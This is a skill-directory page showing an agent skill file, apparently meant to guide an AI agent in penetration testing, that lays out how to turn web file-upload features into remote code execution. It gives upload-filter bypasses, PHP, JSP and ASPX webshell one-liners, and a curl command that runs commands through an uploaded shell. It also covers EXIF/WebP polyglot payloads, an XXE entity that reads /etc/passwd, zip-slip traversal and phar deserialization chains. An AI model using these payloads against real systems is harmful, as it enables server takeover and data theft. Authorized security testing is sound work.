跳到正文
FunCoding

web-upload-rce

File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name/type/content, or find where uploads land. Triggers - multipart upload form, avatar/profile picture, import/attachment, "invalid file type", uploaded file URL, /uploads/ path.

Star
1,278
许可证
MIT
最近提交
2026年11月30日

skills/web/upload-rce/SKILL.md

在 GitHub 上查看

File Upload → RCE

When this fires

Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.

Detect

  1. Upload a benign file, find WHERE it lands (response URL, predictable /uploads/<name>, guess via ffuf).
  2. Probe the filter: try .php, .phtml, .php5, .phar, .jsp, .aspx — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).

Decide — which bypass

  • Extension blocklist → .phtml/.php5/.phar/.pht; double shell.php.jpg; trailing shell.php%00.jpg (old); case shell.PHP; .php. (Apache).
  • MIME check only → keep .php, set Content-Type: image/png.
  • Magic-byte/content check → prepend GIF89a; or valid image header, then PHP: GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg).
  • Server config writable → upload .htaccess (AddType application/x-httpd-php .jpg) then a .jpg webshell.
  • SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (../../) to write outside the upload dir.

Exploit → PROVE IMPACT

# minimal webshells
echo '<?php system($_GET["c"]); ?>' > shell.phtml     # PHP
# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %>   ASPX: Process.Start("cmd","/c "+Request["c"])
curl 'http://<t>/uploads/shell.phtml?c=id'             # execute → prove

Proof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.

Tooling

ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.

False positives / pitfalls

  • Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
  • Antivirus/content scan strips shells → try polyglot + less-common handler extension.
  • Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.

2024-2025 additions

Modern bypass techniques

  • WebP / AVIF polyglots: Valid image + PHP/JS payload in metadata chunks. exiftool -Comment='<?php system($_GET["c"]); ?>' shell.webp → upload as .webp → access via .php if handler misconfigured.
  • SVG + XXE + SSTI: SVG upload → <svg onload=...> for XSS, or XXE via <!ENTITY xxe SYSTEM "file:///etc/passwd"> in SVG XML parser.
  • ZIP/Archive Slip (path traversal in archive): zip -r shell.zip ../shell.php → upload .zip → server extracts with unzip/tar without path validation → writes outside upload dir.
  • PHP 8.1+ phar:// deserialization: Upload .phar with malicious metadata → phar://shell.phar triggers __wakeup/__destruct gadget chain. phpggc generates.
  • Node.js / Next.js / Express multer: filename function override → ../ in filename param. Check diskStorage config.
  • Java Spring MultipartFile: transferTo() with path traversal in originalFilename. CVE-2024-22243 (Spring Framework 5.3.33+/6.0.14+).

Cloud / Serverless upload sinks

  • AWS S3 / Lambda / API Gateway: Presigned URL upload → Lambda processes → RCE if Lambda runtime vulnerable (e.g., Log4Shell CVE-2021-44228 in Java Lambda).
  • GCP Cloud Storage / Cloud Functions: Same pattern — check Function runtime version.
  • Azure Blob / Functions: Check Function runtime / WEBSITE_RUN_FROM_PACKAGE.

Tooling

  • upload-scanner (2024): Automated upload bypass testing across extensions/MIME/magic.
  • ffuf + gobuster for upload dir discovery → gobuster_parse.
  • phpggc (PHPGGC): Gadget chain generator for phar:// / unserialize RCE.
  • ysoserial / ysoserial.net: Java/.NET deserialization gadgets for upload+deserialize chains.
  • nuclei -tags fileupload: Updated 2024 templates for known upload CVEs.

相似的 Skill

blender-motion-state-inspection

AFaffaan-m/ECC314k近 7 天新增 3,503 个 star

官方

slack-gif-creator

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

algorithmic-art

用 p5.js 生成流场和粒子系统,通过种子随机性创作原创算法艺术。

ANanthropics/skills203k近 7 天新增 2,822 个 star

moneyprinterturbo-video

HAharry0703/MoneyPrinterTurbo147k近 7 天新增 1,401 个 star

thinking-out-loud

SHShubhamsaboo/awesome-llm-apps146k近 7 天新增 818 个 star

design-motion

GAgarrytan/gstack143k近 7 天新增 524 个 star